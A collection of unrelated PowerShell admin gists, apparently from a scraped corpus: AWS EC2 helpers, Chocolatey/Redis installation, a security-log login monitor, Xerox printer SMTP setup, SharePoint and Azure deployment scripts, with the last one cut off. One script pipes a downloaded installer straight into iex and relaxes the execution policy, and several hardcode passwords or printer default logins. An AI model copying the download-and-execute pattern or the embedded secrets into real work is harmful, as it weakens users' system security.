PowerShellCorpus/GithubGist/kunzimariano_11379631_raw_e2311e3025b9c5f309c3fa127c673fa22820a94a_AwsManagementTools.ps1
kunzimariano_11379631_raw_e2311e3025b9c5f309c3fa127c673fa22820a94a_AwsManagementTools.ps1
filter Is-Running { if($_.State.Name -eq 'running') { $_ } } filter IsNot-Running { if($_.State.Name -ne 'running') { $_ } } filter IsNot-Stopped { if($_.State.Name -ne 'stopped') { $_ } } function Stop-AllEC2Instances { (Get-EC2Instance).Instances | IsNot-Stopped | % { Stop-EC2Instance -Instance $_.InstanceId -Force } } function Get-EC2InstancesWithFilter { param([parameter(Mandatory=$true)][string]$filter) (Get-EC2Instance -Filter @{ Name="tag:Name"; Value="$filter"}).Instances } function Write-RunningInfo { param([parameter(Mandatory=$true,ValueFromPipeline=$true)] [object]$instance) process { Write-Host $instance.InstanceId : "<$($instance.PublicIpAddress)>" : $instance.State.Name : $instance.Tags.Value } } function Write-NotRunningInfo { param([parameter(Mandatory=$true,ValueFromPipeline=$true)] [object]$instance) process { Write-Host $instance.InstanceId : $instance.State.Name : $instance.Tags.Value } } function Get-EC2InstancesStatus { param( [parameter(Mandatory=$true)][object[]]$instancesId, [parameter(Mandatory=$true)][string]$retry) $maxRetries = 20 $instances = (Get-EC2Instance -Instance $instancesId).Instances ($running = $instances | Is-Running) | Write-RunningInfo $notRunning = $instances | IsNot-Running $keepGoing = ($notRunning -ne $null) -and ($notRunning.Length -gt 0) -and ($retry -lt $maxRetries) $stop = ($notRunning -ne $null) -and ($notRunning.Length -gt 0) if ($keepGoing) { Write-Host "Waiting for the next instances to start..." $notRunning | Write-NotRunningInfo Start-Sleep -s 30 Get-EC2InstancesStatus $notRunning.InstanceId ($retry + 1) } elseif($stop) { Write-Host "After $maxRetries retries the next instances failed to go into running." $notRunning | Write-NotRunningInfo } } function Start-EC2InstancesWithFilter { param([parameter(Mandatory=$true)] [string]$filter) ($instances = Get-EC2InstancesWithFilter $filter | IsNot-Running ) | Start-EC2Instance >> $null Get-EC2InstancesStatus $instances.InstanceId 1 Write-Host "Finished running Start-EC2InstancesWithFilter." }
PowerShellCorpus/GithubGist/robert-claypool_3d07133474945b87dcd3_raw_96566132320c1e07ddae42e7bd09995d55874682_gpg-message-encryption.ps1
robert-claypool_3d07133474945b87dcd3_raw_96566132320c1e07ddae42e7bd09995d55874682_gpg-message-encryption.ps1
# A Windows command line example for gpg message encryption: # Install Gpg4win to use gpg. # Gpg4win is a email and file encryption package for Windows that includes the open source Gnu Privacy Guard. # It implements the OpenPGP standard and is widely used to sign, verify, encrypt, and decrypt data. # http://www.gpg4win.org/ echo "Hi John," "Here's your login info:" "username=admin" "password=2d!5-e.6:A~77/Vq" | gpg --encrypt --sign --armor -r john.doe@example.com --output c:\temp\message.txt
PowerShellCorpus/GithubGist/Astn_6142bdc3e7bbf7c069db_raw_53e58dfad8e416cca699700933cfdf0583f5ba64_RunRedis64OnWindows-InstallIfMissing.ps1
Astn_6142bdc3e7bbf7c069db_raw_53e58dfad8e416cca699700933cfdf0583f5ba64_RunRedis64OnWindows-InstallIfMissing.ps1
function elevateme { # Get the ID and security principal of the current user account $myWindowsID=[System.Security.Principal.WindowsIdentity]::GetCurrent() $myWindowsPrincipal=new-object System.Security.Principal.WindowsPrincipal($myWindowsID) # Get the security principal for the Administrator role $adminRole=[System.Security.Principal.WindowsBuiltInRole]::Administrator # Check to see if we are currently running "as Administrator" if ($myWindowsPrincipal.IsInRole($adminRole)) { # We are running "as Administrator" - so change the title and background color to indicate this $Host.UI.RawUI.WindowTitle = $myInvocation.MyCommand.Definition + "(Elevated)" $Host.UI.RawUI.BackgroundColor = "DarkBlue" clear-host } else { # We are not running "as Administrator" - so relaunch as administrator # Create a new process object that starts PowerShell $newProcess = new-object System.Diagnostics.ProcessStartInfo "PowerShell"; # Specify the current script path and name as a parameter $newProcess.Arguments = $myInvocation.MyCommand.Definition; # Indicate that the process should be elevated $newProcess.Verb = "runas"; # Start the new process [System.Diagnostics.Process]::Start($newProcess); # Exit from the current, unelevated, process exit } } function restart { # Create a new process object that starts PowerShell $newProcess = new-object System.Diagnostics.ProcessStartInfo "PowerShell"; # Specify the current script path and name as a parameter $newProcess.Arguments = $myInvocation.MyCommand.Definition; # Start the new process [System.Diagnostics.Process]::Start($newProcess); # Exit from the current, unelevated, process exit } function get-Choco-IfMissing { if ($env:ChocolateyInstall -ne $null){ Write-Host "Found Chocolatey" -ForegroundColor Green return } Write-Host "Checking for Chocolatey" $needChoco = $false try { $version = choco version } catch [System.Exception] { $needChoco = $true Write-Host "Chocolatey missing..." } if ($version -eq $null -or $version.Count -eq 0) { $needChoco = $true } if ($needChoco -eq $true) { Write-Host "Checking execution policy" $currentPolicy = Get-ExecutionPolicy if ($currentPolicy -ne "RemoteSigned"){ Write-Warning "Execution Policy set too low, currently: $currentPolicy" Write-Warning "Attempting to change it to: RemoteSigned" # need to elevate permissions to change execution policy elevateme # end of elevation code Set-ExecutionPolicy RemoteSigned Write-Host "installing chocolatey" iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) } else { Write-Host "installing chocolatey" iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) } restart } } function get-Redis-IfMissing { $fastFind = $false pushd "$env:ChocolateyInstall\lib\" if ( (ls -filter redis-64* | measure).count -gt 0){ $fastFind = $true } popd if ($fastFind -eq $true){ Write-Host "Found redis-64" -ForegroundColor Green return } Write-Host "Detecting redis-64" $localRedis = (choco list redis-64 -lo) Write-Host $localRedis if (($localRedis | %{ $_.ToString() } | ? { $_ -match "^redis-64\b"} | measure).count -eq 0) { Write-Host "Installing redis-64" cinst redis-64 } else { Write-Host "Found redis-64" } } get-Choco-IfMissing get-Redis-IfMissing $chocoLib = "$env:ChocolateyInstall\lib\" pushd $chocoLib $redisDir = (ls -filter redis*)[0].Name popd Write-Host "Redis install at: $($env:ChocolateyInstall)\lib\$($redisDir)" -ForegroundColor Green Write-Host "Launching redis-64 ..." -ForegroundColor DarkYellow Start-Process "$($env:ChocolateyInstall)\lib\$($redisDir)\redis-server.exe" Write-Host "Launching redis-cli ..." -ForegroundColor DarkYellow Start-Process "$($env:ChocolateyInstall)\lib\$($redisDir)\redis-cli.exe"
PowerShellCorpus/GithubGist/ao-zkn_e8cd440c4138ac31dab0_raw_9c826e2dd399fd671f7ebb4a5cd2412354e10b2c_Render-Template.ps1
ao-zkn_e8cd440c4138ac31dab0_raw_9c826e2dd399fd671f7ebb4a5cd2412354e10b2c_Render-Template.ps1
# ------------------------------------------------------------------ # テンプレートファイルと入力データよりファイルを出力する # 関数名:Render-Template # 引数 :TemplateFilePath テンプレートファイルパス # :DataObject データ # :OutPutFilePath 出力ファイルパス # :Encoding 文字コード # 戻り値:なし # ------------------------------------------------------------------ function Render-Template([String]$TemplateFilePath, [System.Collections.Hashtable]$Data, [String]$OutPutFilePath, [String]$Encoding = "UTF8"){ # テンプレートファイルの存在チェック if(-not(Test-Path -LiteralPath $TemplateFilePath -PathType Leaf)){ Write-Host "指定したテンプレートファイルが存在しません" break } # テンプレートファイル読み込み $template = Get-Content $TemplateFilePath -Encoding $Encoding # 置換 foreach ($value in $Data.keys){ $template = $template -replace $value , $Data[$value] } # ファイル出力 $template | Out-File $OutPutFilePath -Encoding $Encoding }
PowerShellCorpus/GithubGist/sunnyc7_9648755_raw_da47b46aaf62f0bcf820be171cb4e75543a55935_Get-EventedLogin.ps1
sunnyc7_9648755_raw_da47b46aaf62f0bcf820be171cb4e75543a55935_Get-EventedLogin.ps1
Function Get-EventedLogin { param ( [int]$eventid ) #WQL on InstanceCreationEvent $query = "Select * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.LogFile='Security' AND TargetInstance.EventCode='$eventid'" #WMI Evented Log Monitor $registerAnEvent = Register-WmiEvent <#-ComputerName $computer#> -Query $query -SourceIdentifier MonitorEvent -Action{ $output = "" | Select ComputerName,EventCode,EventType,LogFile,Message,TimeGenerated $Global:MonitorEvent=$event $eventTarget= $Event.SourceEventArgs.NewEvent.TargetInstance $output.ComputerName = $eventTarget.ComputerName $output.EventCode = $eventTarget.EventCode $output.EventType = $eventTarget.EventType $output.LogFile = $eventTarget.LogFile $output.Message = $eventTarget.Message $output.TimeGenerated= $EventTarget.TimeGenerated # I am using Write-Host so that you can see the result on screen. # Write-Output will return the output in Jobs Output Parameter. # If your job-id is 3 # Try (Get-Job -id 3).Output to see how Write-Output / or Just $output writes to the Jobs Output Variable. Write-host $output } #End of Action Block. if (! (Get-job -Name MonitorEvent)) { $registerAnEvent } #else { (Get-job -Name MonitorEvent) | Stop-Job; (Get-job -Name MonitorEvent) | Remove-Job; $registerAnEvent} } #End of Function Get-EventedLogin -eventid 4648 #Get-EventedLogin -eventid 4624
PowerShellCorpus/GithubGist/kobusvdm_8ea355e204113a63ce35_raw_27961f696161e5d99f76a2cff3c4b5993bf94c7e_win8host.ps1
kobusvdm_8ea355e204113a63ce35_raw_27961f696161e5d99f76a2cff3c4b5993bf94c7e_win8host.ps1
try { Update-ExecutionPolicy Unrestricted Set-WindowsExplorerOptions -EnableShowHiddenFilesFoldersDrives -EnableShowProtectedOSFiles -EnableShowFileExtensions -EnableShowFullPathInTitleBar Set-CornerNavigationOptions -EnableUpperRightCornerShowCharms -EnableUpperLeftCornerSwitchApps -EnableUsePowerShellOnWinX Set-TaskbarOptions -Size Small Enable-RemoteDesktop cinst toolsroot cinst putty cinst git.install cinst git-credential-winstore cinst tortoisegit cinst poshgit cinst notepadplusplus.install cinst spacesniffer cinst skype cinst teamviewer cinst sysinternals cinst googlechrome cinst firefox cinst fdm cinst dropbox cinst 7zip cinst filezilla cinst ultradefrag -Pre cinst lockhunter cinst atoms cinst rufus.portable cinst Microsoft-Hyper-V-All -source windowsFeatures Install-ChocolateyPinnedTaskBarItem "$env:windir\system32\mstsc.exe" Install-ChocolateyPinnedTaskBarItem "${env:ProgramFiles(x86)}\Notepad++\notepad++.exe" Install-WindowsUpdate -AcceptEula boot-on Write-ChocolateySuccess 'win8host' } catch { Write-ChocolateyFailure 'win8host' $($_.Exception.Message) throws }
PowerShellCorpus/GithubGist/chillitom_8335042_raw_ceaa6550674f1e89ef690721a7b596420ba72cde_rot47.ps1
chillitom_8335042_raw_ceaa6550674f1e89ef690721a7b596420ba72cde_rot47.ps1
function Rot47 { param ([string] $in) $table = @{} for ($i = 0; $i -lt 94; $i++) { $table.Add( "!`"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_``abcdefghijklmnopqrstuvwxyz{|}~"[$i], "PQRSTUVWXYZ[\]^_``abcdefghijklmnopqrstuvwxyz{|}~!`"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO"[$i]) } $out = New-Object System.Text.StringBuilder $in.ToCharArray() | %{ $char = if ($table.ContainsKey($_)) {$table[$_]} else {$_} $out.Append($char) | Out-Null } $out.ToString() }
PowerShellCorpus/GithubGist/devendrasv_ce0e034657dee7818044_raw_3b9ab79b54276c833c9f1653845508da80919412_addnavigation.ps1
devendrasv_ce0e034657dee7818044_raw_3b9ab79b54276c833c9f1653845508da80919412_addnavigation.ps1
#Credentials to connect to office 365 site collection url $username="spj@Velegandla.onmicrosoft.com" $password="yourpassword" $Password = $password |ConvertTo-SecureString -AsPlainText -force Write-Host "Load CSOM libraries" -foregroundcolor black -backgroundcolor yellow Set-Location $PSScriptRoot Add-Type -Path (Resolve-Path "Microsoft.SharePoint.Client.dll") Add-Type -Path (Resolve-Path "Microsoft.SharePoint.Client.Runtime.dll") Write-Host "CSOM libraries loaded successfully" -foregroundcolor black -backgroundcolor Green $credentials = New-Object Microsoft.SharePoint.Client.SharePointOnlineCredentials($username, $password) function Add-MenuNavigation($xmlNavs) { $Nodes = $Context.Web.Navigation.TopNavigationBar $NavigationNode = New-Object Microsoft.SharePoint.Client.NavigationNodeCreationInformation $NavigationNode.Title = $xmlNavs.Title $NavigationNode.Url = $xmlNavs.Url $NavigationNode.AsLastNode = $true $Context.Load($Nodes.Add($NavigationNode)) try { $Context.ExecuteQuery() Write-Host "Adding" $xmlNavs.Title "to Global Navigation Completed" -foregroundcolor black -backgroundcolor green } catch { Write-Host Error Adding $xmlNavs.Title to Global Navigation $_.Exception.Message -foregroundcolor black -backgroundcolor Red } } # Redaing Data from configuration.xml file $xmlFilePath = "$PSScriptRoot\Navigation.xml" Write-Host "Load solutions xml file" -foregroundcolor black -backgroundcolor yellow [xml]$xmlContent = (Get-Content $xmlFilePath) if (-not $xmlContent) { Write-Host "Xml was not loaded successfully." -foregroundcolor black -BackgroundColor Red return } Write-Host "Solutions xml file loaded successfully" -foregroundcolor black -BackgroundColor Green $xmlContent.sites.site| ForEach-Object { Write-Host "authenticate to SharePoint Online site collection" $xmlContent.sites.site.Url " and get ClientContext object" -foregroundcolor black -backgroundcolor yellow $Context = New-Object Microsoft.SharePoint.Client.ClientContext($_.Url) $Context.Credentials = $credentials $context.RequestTimeOut = 5000 * 60 * 10; $web = $context.Web $site = $context.Site $context.Load($web) $context.Load($site) try { $context.ExecuteQuery() Write-Host "authenticate to SharePoint Online site collection" $xmlContent.sites.site.Url "and get ClientContext object" -foregroundcolor black -backgroundcolor Green } catch { Write-Host "Not able to authenticate to SharePoint Online site collection" $xmlContent.sites.site.Url "$_.Exception.Message" -foregroundcolor black -backgroundcolor Red return } #Add Menu to Global Navigation $_.globalnav.nav | ForEach-Object { Write-Host "Adding" $_.Title "to Global Navigation Starting..." -foregroundcolor black -backgroundcolor yellow Add-MenuNavigation ($_) } }
PowerShellCorpus/GithubGist/RhysC_840533_raw_c48a3f71c232c27fa8cd43b36d544e62aa5d9872_RecursiveFileStringReplace.ps1
RhysC_840533_raw_c48a3f71c232c27fa8cd43b36d544e62aa5d9872_RecursiveFileStringReplace.ps1
Get-ChildItem -exclude *.bak -Recurse -Include *.csproj | Where-Object {$_.Attributes -ne "Directory"} | ForEach-Object { Copy-Item $_ "$($_).bak"; (Get-Content $_) -replace "<HintPath>..\\..\\Lib","<HintPath>..\\..\\..\\Lib" | Set-Content -path $_ }
PowerShellCorpus/GithubGist/alistair_7308746_raw_19ed21ddcc03b1cbe4719a133f7b259dce540acb_deploy.ps1
alistair_7308746_raw_19ed21ddcc03b1cbe4719a133f7b259dce540acb_deploy.ps1
#Modified and simplified version of https://www.windowsazure.com/en-us/develop/net/common-tasks/continuous-delivery/ $subscription = "[Your Subscription Name]" $service = "[Your Azure Service Name]" $slot = "staging" #staging or production $package = "[ProjectName]\bin\[BuildConfigName]\app.publish\[ProjectName].cspkg" $configuration = "[ProjectName]\bin\[BuildConfigName]\app.publish\ServiceConfiguration.Cloud.cscfg" $timeStampFormat = "g" $deploymentLabel = "ContinuousDeploy to $service v%build.number%" Write-Output "Running Azure Imports" Import-Module "C:\Program Files (x86)\Microsoft SDKs\Windows Azure\PowerShell\Azure\*.psd1" Import-AzurePublishSettingsFile "C:\TeamCity\[PSFileName].publishsettings" Set-AzureSubscription -CurrentStorageAccount $service -SubscriptionName $subscription function Publish(){ $deployment = Get-AzureDeployment -ServiceName $service -Slot $slot -ErrorVariable a -ErrorAction silentlycontinue if ($a[0] -ne $null) { Write-Output "$(Get-Date -f $timeStampFormat) - No deployment is detected. Creating a new deployment. " } if ($deployment.Name -ne $null) { #Update deployment inplace (usually faster, cheaper, won't destroy VIP) Write-Output "$(Get-Date -f $timeStampFormat) - Deployment exists in $servicename. Upgrading deployment." UpgradeDeployment } else { CreateNewDeployment } } function CreateNewDeployment() { write-progress -id 3 -activity "Creating New Deployment" -Status "In progress" Write-Output "$(Get-Date -f $timeStampFormat) - Creating New Deployment: In progress" $opstat = New-AzureDeployment -Slot $slot -Package $package -Configuration $configuration -label $deploymentLabel -ServiceName $service $completeDeployment = Get-AzureDeployment -ServiceName $service -Slot $slot $completeDeploymentID = $completeDeployment.deploymentid write-progress -id 3 -activity "Creating New Deployment" -completed -Status "Complete" Write-Output "$(Get-Date -f $timeStampFormat) - Creating New Deployment: Complete, Deployment ID: $completeDeploymentID" } function UpgradeDeployment() { write-progress -id 3 -activity "Upgrading Deployment" -Status "In progress" Write-Output "$(Get-Date -f $timeStampFormat) - Upgrading Deployment: In progress" # perform Update-Deployment $setdeployment = Set-AzureDeployment -Upgrade -Slot $slot -Package $package -Configuration $configuration -label $deploymentLabel -ServiceName $service -Force $completeDeployment = Get-AzureDeployment -ServiceName $service -Slot $slot $completeDeploymentID = $completeDeployment.deploymentid write-progress -id 3 -activity "Upgrading Deployment" -completed -Status "Complete" Write-Output "$(Get-Date -f $timeStampFormat) - Upgrading Deployment: Complete, Deployment ID: $completeDeploymentID" } Write-Output "Create Azure Deployment" Publish
PowerShellCorpus/GithubGist/vermorel_47f966ff8bd3fa2d8c76_raw_056de7c48fed95b2915d3ac7ac20d8626a4eeb6f_run-salescast.ps1
vermorel_47f966ff8bd3fa2d8c76_raw_056de7c48fed95b2915d3ac7ac20d8626a4eeb6f_run-salescast.ps1
# ------------------------------------------------- # Function Run-Salescast # By Joannes Vermorel, Lokad, 2015-01 # # Triggers the execution of Salescast project within a Lokad account. # # Syntax: # run-salescast 'myemail' 'mypassword' 'myfolder' # ------------------------------------------------- function Run-Salescast() { param ( [string] $username, [string] $password, [string] $folder ) $Url = 'https://salescast2.lokad.com/rest/basicstartrun?folder=' + $folder $webclient = new-object system.net.webclient $webclient.credentials = new-object system.net.networkcredential($username, $password) return $webclient.DownloadString($Url) }
PowerShellCorpus/GithubGist/jacobludriks_4bcbcc9cba061f1e09a7_raw_91da708e44fe2326d900303dfa9082022b1b8f3c_xerox-smtp.ps1
jacobludriks_4bcbcc9cba061f1e09a7_raw_91da708e44fe2326d900303dfa9082022b1b8f3c_xerox-smtp.ps1
#Variables needed by script $printerserver = "print server address" $smtpserver = "smtp server address" $emailaddress = "email address to send as" $smtplogin = "email login here" $smtppassword = "email password here" $printerlogin = "printer login here (usually 11111)" $printerpassword = "printer password here (usually x-admin)" #Connects to print server and selects all Fuji-Xerox printers #You can also just make this an array of IP's $printerips = (Get-Printer -ComputerName $printerserver | ?{$_.drivername -like "FX*"} | sort -Unique portname | ?{[bool]($_.portname -as [ipaddress])}).portname Function Send-POST { Param( [parameter(Mandatory=$true)] [string]$URL, [parameter(Mandatory=$true)] [string]$Data ) $buffer = [text.encoding]::ascii.getbytes($data) [net.httpWebRequest] $req = [net.webRequest]::create($url) $req.Credentials = New-Object System.Net.NetworkCredential($printerlogin,$printerpassword) $req.method = "POST" $req.ContentType = "application/x-www-form-urlencoded" $req.ContentLength = $buffer.length $req.KeepAlive = $true $reqst = $req.getRequestStream() $reqst.write($buffer, 0, $buffer.length) $reqst.flush() $reqst.close() try { [net.httpWebResponse] $res = $req.getResponse() $resst = $res.getResponseStream() $sr = new-object IO.StreamReader($resst) $result = $sr.ReadToEnd() $res.close() return $result; } catch { return "Server Unavailable" } } foreach ($printerip in $printerips) { $initping = Test-NetConnection -ComputerName $printerip if (($initping.PingSucceeded) -ne "True") { Write-Warning "$printerip : Printer does not respond to ping - do you have the right IP?" } else { #Set SMTP Settings #SP0 and FSP0 have to match - these are the passwords. ESP0 refers to the password being changed #ATH=2 means use SMTP authentication. ATH=1 means POP before SMTP. ATH=0 means no authentication #UCRE=0 means use remotely authenticated user, UCRE=1 means use system. Used by older DocuCentre machines $x = Send-POST -URL "http://$printerip/SMTPMODE.cmd" -Data "SVTYPE=&DEFSPLIT=0&SAD=$smtpserver&SPN=25&SPNRECV=25&SMTPSSLTLS=0&WEA=$($emailaddress -replace '@','%40')&MAXMSG=10240&MAXJOB=20000&ATH=2&SU0=$($smtplogin -replace '@','%40')&SP0=$smtppassword&FSP0=$smtppassword&MAXFLG=1&ESP0=on&SRVCHK=0&MSGSPLT=0&RBTFLG=0&SPNDIFAX=25" if ($x -match "Server Unavailable") { Write-Output "$printerip : Machine has an older firmware, attempting method 2" $x = Send-POST -URL "http://$printerip/SMTPMODE.cmd" -Data "SAD=$smtpserver&SPN=25&SPNRECV=25&WEA=$($emailaddress -replace '@','%40')&MAXMSG=10240&MAXJOB=20000&ATH=2&SU0=$($smtplogin -replace '@','%40')&SP0=$smtppassword&FSP0=$smtppassword&MAXFLG=1&ESP0=on&SRVCHK=0&MSGSPLT=0&UCRE=0" } if ($x -match "Settings have been changed") { try { Write-Output "$printerip : SMTP settings changed on machine, attempting reboot" $x = Send-POST -URL "http://$printerip/DEVCTRL.cmd" -Data "OPR=REBOOT" if (!($x -match "Your request was successfully processed")) { Write-Warning "$printerip : Could not reboot machine, moving to next machine" } else { Write-Output "$printerip : Machine is rebooting, sleeping for 45 seconds" Start-Sleep -s 45 $pingtest = Test-NetConnection -ComputerName $printerip if (($pingtest.PingSucceeded) -ne "True") { Write-Warning "$printerip : Machine has not come back online after 45 seconds, please test" } else { Write-Output "$printerip : Machine has successfully updated its SMTP settings and rebooted" } } } catch { Write-Warning "$printerip : Failed - $($error[0].Exception)" } } else { Write-Warning "$printerip : Could not set SMTP settings on machine, moving to next machine" continue } } }
PowerShellCorpus/GithubGist/efeamadasun_3837407_raw_57d992360dd1ba3a1467927926b22a143ac757c0_db_mail.ps1
efeamadasun_3837407_raw_57d992360dd1ba3a1467927926b22a143ac757c0_db_mail.ps1
# #.SYNOPSIS #Sends email via SQL Server # #.EXAMPLE #.\db_mail.ps1 -to "efeamadasun@gmail.com; me@efeamadasun.com" -subject "Test email" -body "This is a test" # param( [string]$to, [string]$subject, [string]$body ) $con = New-Object System.Data.SqlClient.SqlConnection $con.ConnectionString = "server=<server>; database=msdb; uid=<username>; password=<password>;" $con.open() $cmd = New-Object System.Data.SqlClient.SqlCommand $cmd.Connection = $con $cmd.CommandType = [System.Data.CommandType]"StoredProcedure" $cmd.CommandText = "sp_send_dbmail" $cmd.Parameters.AddWithValue("@profile_name", "<profile name>") $cmd.Parameters.AddWithValue("@recipients", $to) $cmd.Parameters.AddWithValue("@subject", $subject) $cmd.Parameters.AddWithValue("@body", $body) $cmd.ExecuteNonQuery() $con.Close()
PowerShellCorpus/GithubGist/RobertBonham_5910455_raw_7e0ddf3634d5804ba9829a01f69a5880e1d7585d_download.ps1
RobertBonham_5910455_raw_7e0ddf3634d5804ba9829a01f69a5880e1d7585d_download.ps1
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) #Set the username for windows auth proxy #$rss.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials #http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/rss/mp4high/?sort=sequential&direction=desc&term=&r=Developer+Tools+%26+Application+Lifecycle+Management&r=Windows+Azure+Application+Development&y=Breakout&Media=true#fbid=FDnmapgI5Hf #http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/RSS/mp4high #http://channel9.msdn.com/Events/Build/2013/RSS/mp4high#theSessions #http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/rss/mp4high/?sort=sequential&direction=desc&term=&r=Developer+Tools+%26+Application+Lifecycle+Management&r=Windows+Azure+Application+Development&y=Breakout&Media=true#fbid=FDnmapgI5Hf $a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/Build/2013/RSS/mp4high#theSessions")) $a.rss.channel.item | foreach{ $url = New-Object System.Uri($_.enclosure.url) $file = $_.creator + "-" + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-") + ".mp4" if (!(test-path $file)) { $file $wc = (New-Object System.Net.WebClient) #Set the username for windows auth proxy #$wc.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials $wc.DownloadFile($url, $file) } }
PowerShellCorpus/GithubGist/n3wjack_6fafc16799cb4bb83723_raw_4c44efd1f3b1e36ed207619bb0c83fa864745160_Filter-WebLog.ps1
n3wjack_6fafc16799cb4bb83723_raw_4c44efd1f3b1e36ed207619bb0c83fa864745160_Filter-WebLog.ps1
# # Example usage: Filter-WebLog.ps1 *.log "/foo/bar/" # param ( $FileFilter, $TextFilter ) ls $FileFilter | sls $TextFilter | sls ".js",".png",".gif",".jpg",".css",".less" -NotMatch
PowerShellCorpus/GithubGist/arri-cc_5264818_raw_2786ed9891bbcc53186ed3f30e36b6cf1e6e6004_azureDeployWithSwap.ps1
arri-cc_5264818_raw_2786ed9891bbcc53186ed3f30e36b6cf1e6e6004_azureDeployWithSwap.ps1
Param( $serviceName = "", $storageAccountName = "", $packageLocation = "", $cloudConfigLocation = "", $environment = "Staging", $deploymentLabel = "ContinuousDeploy to $servicename", $timeStampFormat = "g", $alwaysDeleteExistingDeployments = 1, $enableDeploymentUpgrade = 1, $selectedsubscription = "default", $subscriptionDataFile = "" ) $ErrorActionPreference = "Stop" function Publish() { $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot -ErrorVariable a -ErrorAction silentlycontinue if ($a[0] -ne $null) { Write-Output "$(Get-Date –f $timeStampFormat) - No deployment is detected. Creating a new deployment. " } #check for existing deployment and then either upgrade, delete + deploy, or cancel according to $alwaysDeleteExistingDeployments and $enableDeploymentUpgrade boolean variables if ($deployment.Name -ne $null) { switch ($alwaysDeleteExistingDeployments) { 1 { switch ($enableDeploymentUpgrade) { 1 #Update deployment inplace (usually faster, cheaper, won't destroy VIP) { Write-Output "$(Get-Date –f $timeStampFormat) - Deployment exists in $servicename. Upgrading deployment." UpgradeDeployment } 0 #Delete then create new deployment { Write-Output "$(Get-Date –f $timeStampFormat) - Deployment exists in $servicename. Deleting deployment." DeleteDeployment CreateNewDeployment } } # switch ($enableDeploymentUpgrade) } 0 { Write-Output "$(Get-Date –f $timeStampFormat) - ERROR: Deployment exists in $servicename. Script execution cancelled." exit } } #switch ($alwaysDeleteExistingDeployments) } else { CreateNewDeployment } } function CreateNewDeployment() { write-progress -id 3 -activity "Creating New Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Creating New Deployment: In progress" $opstat = New-AzureDeployment -Slot $slot -Package $packageLocation -Configuration $cloudConfigLocation -label $deploymentLabel -ServiceName $serviceName $completeDeployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $completeDeploymentID = $completeDeployment.deploymentid write-progress -id 3 -activity "Creating New Deployment" -completed -Status "Complete" Write-Output "$(Get-Date –f $timeStampFormat) - Creating New Deployment: Complete, Deployment ID: $completeDeploymentID" StartInstances } function UpgradeDeployment() { write-progress -id 3 -activity "Upgrading Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Upgrading Deployment: In progress" # perform Update-Deployment $setdeployment = Set-AzureDeployment -Upgrade -Slot $slot -Package $packageLocation -Configuration $cloudConfigLocation -label $deploymentLabel -ServiceName $serviceName -Force $completeDeployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $completeDeploymentID = $completeDeployment.deploymentid write-progress -id 3 -activity "Upgrading Deployment" -completed -Status "Complete" Write-Output "$(Get-Date –f $timeStampFormat) - Upgrading Deployment: Complete, Deployment ID: $completeDeploymentID" } function DeleteDeployment() { write-progress -id 2 -activity "Deleting Deployment" -Status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Deleting Deployment: In progress" #WARNING - always deletes with force $removeDeployment = Remove-AzureDeployment -Slot $slot -ServiceName $serviceName -Force write-progress -id 2 -activity "Deleting Deployment: Complete" -completed -Status $removeDeployment Write-Output "$(Get-Date –f $timeStampFormat) - Deleting Deployment: Complete" } function StartInstances() { write-progress -id 4 -activity "Starting Instances" -status "In progress" Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instances: In progress" $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $runstatus = $deployment.Status if ($runstatus -ne 'Running') { $run = Set-AzureDeployment -Slot $slot -ServiceName $serviceName -Status Running } $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $oldStatusStr = @("") * $deployment.RoleInstanceList.Count while (-not(AllInstancesRunning($deployment.RoleInstanceList))) { $i = 1 foreach ($roleInstance in $deployment.RoleInstanceList) { $instanceName = $roleInstance.InstanceName $instanceStatus = $roleInstance.InstanceStatus if ($oldStatusStr[$i - 1] -ne $roleInstance.InstanceStatus) { $oldStatusStr[$i - 1] = $roleInstance.InstanceStatus Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instance '$instanceName': $instanceStatus" } write-progress -id (4 + $i) -activity "Starting Instance '$instanceName'" -status "$instanceStatus" $i = $i + 1 } sleep -Seconds 1 $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot } $i = 1 foreach ($roleInstance in $deployment.RoleInstanceList) { $instanceName = $roleInstance.InstanceName $instanceStatus = $roleInstance.InstanceStatus if ($oldStatusStr[$i - 1] -ne $roleInstance.InstanceStatus) { $oldStatusStr[$i - 1] = $roleInstance.InstanceStatus Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instance '$instanceName': $instanceStatus" } $i = $i + 1 } $deployment = Get-AzureDeployment -ServiceName $serviceName -Slot $slot $opstat = $deployment.Status write-progress -id 4 -activity "Starting Instances" -completed -status $opstat Write-Output "$(Get-Date –f $timeStampFormat) - Starting Instances: $opstat" } function AllInstancesRunning($roleInstanceList) { foreach ($roleInstance in $roleInstanceList) { if ($roleInstance.InstanceStatus -ne "ReadyRole") { return $false } } return $true } #configure powershell with Azure 1.7 modules Import-Module Azure Set-AzureSubscription -DefaultSubscription $selectedsubscription #configure powershell with publishsettings for your subscription $pubsettings = $subscriptionDataFile Import-AzurePublishSettingsFile $pubsettings Write-Output "Setting azure subscription storage: $storageAccountName Sub: $selectedsubscription" Set-AzureSubscription -CurrentStorageAccount $storageAccountName -SubscriptionName $selectedsubscription #Set-AzureSubscription -SubscriptionName $selectedsubscription #set remaining environment variables for Azure 